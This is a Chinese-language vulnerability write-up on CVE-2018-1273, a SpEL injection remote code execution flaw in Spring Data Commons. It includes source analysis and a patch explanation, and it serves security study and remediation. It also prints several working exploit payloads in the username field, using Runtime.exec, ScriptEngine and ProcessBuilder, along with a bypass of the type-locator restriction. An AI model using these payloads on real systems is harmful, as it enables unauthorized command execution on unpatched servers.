0x01 Spring Data Commons

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,其主要目标是使数据库的访问变得方便快捷。

Spring Data Commons是Spring Data下所有子项目共享的基础框架。

0x02 CVE-2018-1273

Spring Data Commons在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响版本

  • 2.0.x users should upgrade to 2.0.6
  • 1.13.x users should upgrade to 1.13.11
  • Older versions should upgrade to a supported branch

环境搭建

直接用Vulhub的即可:https://vulhub.org/#/environments/spring/CVE-2018-1273/

漏洞复现

访问目标站点/users接口,是个提交用户名和密码的注册用户的表单,且会在页面中显示出来:

提交该表单是如下POST请求:

将POST的内容修改为如下PoC再次发送:

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/mi1k7ea")]=&password=&repeatedPassword=

此时服务端执行了恶意命令,文件创建成功:

其他一些可用的PoC

1
2
3
4
5
// 使用JavaScript引擎绕过
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('touch /tmp/hacked')")]=&password=&repeatedPassword=

// 使用ProcessBuilder
username[(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('touchxx/tmp/niubi'.split('xx'))).start()]=&password=&repeatedPassword=

漏洞分析

先来看下漏洞点,下载Spring Data Commons 2.0.5的源码分析。

漏洞代码位于org.springframework.data.web.MapDataBinder类中的setPropertyValue()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/* 
* (non-Javadoc)
* @see org.springframework.beans.AbstractPropertyAccessor#setPropertyValue(java.lang.String, java.lang.Object)
*/
@Override
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {

if (!isWritableProperty(propertyName)) {
throw new NotWritablePropertyException(type, propertyName);
}

StandardEvaluationContext context = new StandardEvaluationContext();
context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));
context.setTypeConverter(new StandardTypeConverter(conversionService));
context.setTypeLocator(typeName -> {
throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
});
context.setRootObject(map);

Expression expression = PARSER.parseExpression(propertyName);

PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
TypeInformation<?> owningType = leafProperty.getOwningType();
TypeInformation<?> propertyType = leafProperty.getTypeInformation();

propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;

if (propertyType != null && conversionRequired(value, propertyType.getType())) {

PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(),
leafProperty.getSegment());

if (descriptor == null) {
throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!",
leafProperty.getSegment(), owningType.getType()));
}

MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);

if (typeDescriptor == null) {
throw new IllegalStateException(
String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
}

value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
}

try {
expression.setValue(context, value);
} catch (SpelEvaluationException o_O) {
throw new NotWritablePropertyException(type, propertyName, "Could not write property!", o_O);
}
}

上述代码的流程为:

  1. 首先通过isWritableProperty()函数校验propertyName参数(来自表单提交的参数),检测是否为Controller中设置的Form映射对象中的成员变量;
  2. 然后创建一个StandardEvaluationContext,同时调用PARSER.parseExpression()设置需要解析的表达式的值为函数传入的参数;
  3. 最后调用expression.setValue()进行SpEL表达式解析;

接着跟踪isWritableProperty()函数,查看是如何过滤propertyName参数的,其最终是调用的getPropertyPath()函数:

1
2
3
4
5
private PropertyPath getPropertyPath(String propertyName) {

String plainPropertyPath = propertyName.replaceAll("\\[.*?\\]", "");
return PropertyPath.from(plainPropertyPath, type);
}

这里是通过正则将包括中括号在内的内容给替换为空,然后判断剩下的内容是否为type里的属性。这里type就是在Controller处用到的用于接收参数的类。

因此,我们可以用这个类的一个字段再加上[payload]来构造恶意的SpEL表达式就可以实现RCE了。

还有一个坑,就是下面这段代码:

1
2
3
context.setTypeLocator(typeName -> {
throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
});

这是Spring Data Commons 2.0.5版本中添加的用来拒绝SpEL表达式的。这里如果直接使用T(java.lang.Runtime).getRuntime().exec('calc.exe')这样的原始payload是不会成功触发的,但是可以像前面复现那样利用反射来绕过。

接着我们看下外部参数是通过那个Controller进来的。

代码位置为:https://github.com/spring-projects/spring-data-examples/blob/master/web/example/src/main/java/example/users/web/UserController.java#L83

这是Controller的代码,register()函数支持POST方式获取用户表单参数数据,这其中就有UserForm、BindingResult、Model:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Registers a new {@link User} for the data provided by the given {@link UserForm}. Note, how an interface is used to
* bind request parameters.
*
* @param userForm the request data bound to the {@link UserForm} instance.
* @param binding the result of the binding operation.
* @param model the Spring MVC {@link Model}.
* @return
*/
@RequestMapping(method = RequestMethod.POST)
public Object register(UserForm userForm, BindingResult binding, Model model) {

userForm.validate(binding, userManagement);

if (binding.hasErrors()) {
return "users";
}

userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword()));

RedirectView redirectView = new RedirectView("redirect:/users");
redirectView.setPropagateQueryParams(true);

return redirectView;
}

现在问题是这段Controller代码是怎么和漏洞类MapDataBinder关联起来的。

看廖新喜大佬的博客,说是Form表单的提交操作会调用到ProxyingHandlerMethodArgumentResolver,而ProxyingHandlerMethodArgumentResolver中使用了MapDataBinder的接口,从而使之触发。

ProxyingHandlerMethodArgumentResolver中使用MapDataBinder的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
/* 
* (non-Javadoc)
* @see org.springframework.web.method.annotation.ModelAttributeMethodProcessor#createAttribute(java.lang.String, org.springframework.core.MethodParameter, org.springframework.web.bind.support.WebDataBinderFactory, org.springframework.web.context.request.NativeWebRequest)
*/
@Override
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
NativeWebRequest request) throws Exception {

MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
binder.bind(new MutablePropertyValues(request.getParameterMap()));

return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

ProxyingHandlerMethodArgumentResolver实现了 BeanFactoryAware和BeanClassLoaderAware,所以是在Bean装配后被自动调用的。

具体的Controller到MapDataBinder类触发的过程及原理分析可参考:

https://github.com/iflody/myBugAnalyze/blob/master/2018/CVE-2018-1273/README.md

https://trex-tbag.github.io/2018/04/14/spring-data-common-cve/

补丁分析

看下Spring Data Commons 2.0.6版本的官方补丁是如何修复的:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653

其实就是使用了SpEL表达式注入漏洞的通用修补方法,即将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。 SimpleEvaluationContext的权限则小的多,只支持一些Map结构,通用的jang.lang.Runtime、java.lang.ProcessBuilder等都已经不再支持,这样也就成功防御了SpEL表达式注入漏洞。

0x03 参考

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

CVE-2018-1273: RCE with Spring Data Commons 分析和利用